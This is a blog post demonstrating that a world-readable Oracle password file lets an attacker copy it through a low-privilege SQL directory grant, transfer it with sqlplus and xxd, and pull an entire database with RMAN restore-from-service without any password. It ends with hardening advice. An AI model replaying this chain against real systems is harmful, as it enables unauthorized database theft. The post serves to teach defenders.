By Franck Pachot

.
This is a small demo I did when I’ve found a database password file (orapw) lying around in /tmp with -rw-rw-rw- permissions, to show how this is a bad idea. People think that the orapw file only contains hashes to validate a password given, and forget that it can be used to connect to a remote database without password.

I can easily imagine why the orapwd was there in /tmp. To build a standby database, you need to copy the password file to the standby server. If you don’t have direct access to the oracle user, but only a sudo access for ‘security reasons’, you can’t scp easily. Then you copy the file to /tmp, make it readable by all users, and you can scp with your user.

In this demo I don’t even have access to the host. I’ve only access to connect to a PDB with the SCOTT users, reated with utlsampl.sql, with those additional privileges, a read access on $ORACLE_HOME/dbs:


SQL> connect sys/oracle@//192.168.56.122/PDB1 as sysdba
Connected.
 
SQL> create or replace directory DBS as '/u01/app/oracle/product/12.2.0/dbhome_1/dbs';
Directory DBS created.
 
SQL> grant read on directory DBS to SCOTT;
Grant succeeded.

People tend to grant many privileges, and think that a read access on a directory which is supposed to contain only configuration files is harmless. Let’s see what you can do from another server.

Get the orapw file from a remote connection

I connect with SCOTT which can read from ORACLE_HOME/dbs:


SQL> connect scott/tiger@//192.168.56.122/PDB1
Connected.
 
SQL> show user
USER is "SCOTT"
 
SQL> select * from all_directories;
 
OWNER   DIRECTORY_NAME   DIRECTORY_PATH                                  ORIGIN_CON_ID
-----   --------------   --------------                                  -------------
SYS     DBS              /u01/app/oracle/product/12.2.0/dbhome_1/dbs                 4

I create a table to read this file (other possibilities utl_tile, external tables,…):


SQL> create table DEMO ( b blob );
Table DEMO created.
 
SQL> insert into demo values ( bfilename('DBS','orapwCDB1') );
1 row inserted.

I’m on another server with the same version of Oracle Database software installed.

I use sqlplus to retrieve the server file to my client:


sqlplus -s scott/tiger@//192.168.56.122/PDB1 <<EOF |xxd -p -r > $ORACLE_HOME/dbs/orapwCDB1
set pages 0 lin 17000 long 1000000000 longc 16384
select * from DEMO;
exit
EOF

This (documented by Laurent Schneider) uses sqlplus to display the BLOB variable as hexadecimal code and xdd (installed with vim-common) to revert it to binary.

So, on my server I have a copy of the database password file for the database I want to steal:


[oracle@VM122 ~]$ strings /u01/app/oracle/product/12.2.0/dbhome_1/dbs/orapwCDB1
 
ORACLE Remote Password file
X)l)|
SYSDG
+933k
SYSBACKUP
f       ts6 $9
SYSKM

Pull

A nice feature of 12c is the ability to pull backups from a service. With this, it is the destination that connects to the source. I have diagrams to explain here). It is an easy alternative to RMAN DUPLICATE (see MOS Doc ID 2283978.1 Creating a Physical Standby database using RMAN restore from service). And one difference is that you don’t have to provide the password:

I prepare a small init.ora and directory for the datafiles


echo "db_name=CDB1" > $ORACLE_HOME/dbs/initCDB1.ora
 
mkdir -p /u01/oradata/CDB1

I’m still on my server with the copy of the remote orapw file and a network access to the source database and I just restore it, without the need for a password:


RMAN> connect target /
connected to target database (not started)

I start a local instance:


RMAN> startup nomount force
Oracle instance started
 
Total System Global Area     859832320 bytes
Fixed Size                     8798552 bytes
Variable Size                784338600 bytes
Database Buffers              58720256 bytes
Redo Buffers                   7974912 bytes

I restore the controlfile:


RMAN> restore controlfile from service '//192.168.56.122/CDB1';
Starting restore at 05-JAN-18
using target database control file instead of recovery catalog
allocated channel: ORA_DISK_1
channel ORA_DISK_1: SID=262 device type=DISK
channel ORA_DISK_1: starting datafile backup set restore
channel ORA_DISK_1: using network backup set from service //192.168.56.122/CDB1
channel ORA_DISK_1: restoring control file
channel ORA_DISK_1: restore complete, elapsed time: 00:00:02
output file name=/u01/oradata/CDB1/control01.ctl
output file name=/u01/fast_recovery_area/CDB1/control02.ctl
Finished restore at 05-JAN-18

That’s the interesting part because it has to be connected, at least as SYSOPER, to the source database but I didn’t provide any password.

I mount this controlfile locally:


RMAN> alter database mount;
Statement processed
 
released channel: ORA_DISK_1

And now it is easy to pull the whole database (the CDB with all its PDBs) to my local server:


RMAN> restore database from service '//192.168.56.122/CDB1';
Starting restore at 05-JAN-18
Starting implicit crosscheck backup at 05-JAN-18
allocated channel: ORA_DISK_1
channel ORA_DISK_1: SID=262 device type=DISK
Crosschecked 6 objects
Finished implicit crosscheck backup at 05-JAN-18
Starting implicit crosscheck copy at 05-JAN-18
using channel ORA_DISK_1
Finished implicit crosscheck copy at 05-JAN-18
searching for all files in the recovery area
cataloging files...
cataloging done
 
List of Cataloged Files
=======================
File Name: /u01/fast_recovery_area/CDB1/autobackup/2018_01_04/o1_mf_s_964524009_f4vzyt59_.bkp
File Name: /u01/fast_recovery_area/CDB1/archivelog/2018_01_04/o1_mf_1_15_f4w5vv19_.arc
File Name: /u01/fast_recovery_area/CDB1/archivelog/2018_01_04/o1_mf_1_16_f4wmm0t8_.arc
File Name: /u01/fast_recovery_area/CDB1/archivelog/2018_01_04/o1_mf_1_14_f4vzjdl1_.arc
using channel ORA_DISK_1
channel ORA_DISK_1: starting datafile backup set restore
channel ORA_DISK_1: using network backup set from service //192.168.56.122/CDB1
channel ORA_DISK_1: specifying datafile(s) to restore from backup set
channel ORA_DISK_1: restoring datafile 00001 to /u01/oradata/CDB1/system01.dbf
channel ORA_DISK_1: restore complete, elapsed time: 00:00:16
channel ORA_DISK_1: starting datafile backup set restore
...

So what?

This is not an issue and is totally expected. In a Data Guard configuration, the primary and standby database have to communicate with each others and then need a passwordless authentication. This is done with the password file, and this is the reason why you need to copy it rather than just create another one with the same passwords.

So, there is more than just a hash of the password (which is required to validate a password) and probably includes a key (randomly generated when you create the password file) used for passwordless authentication.

Then, be careful, and do not give read access to the orapw files. You must secure them in the same way as a ssh key or an encryption wallet. and this include:

  • Do not leave a copy of the orapw file in a shared location
  • Be careful with grants on directories, even in READ
  • Do not grant CREATE ANY DIRECTORY except for a PDB with PATH_PREFIX lockdown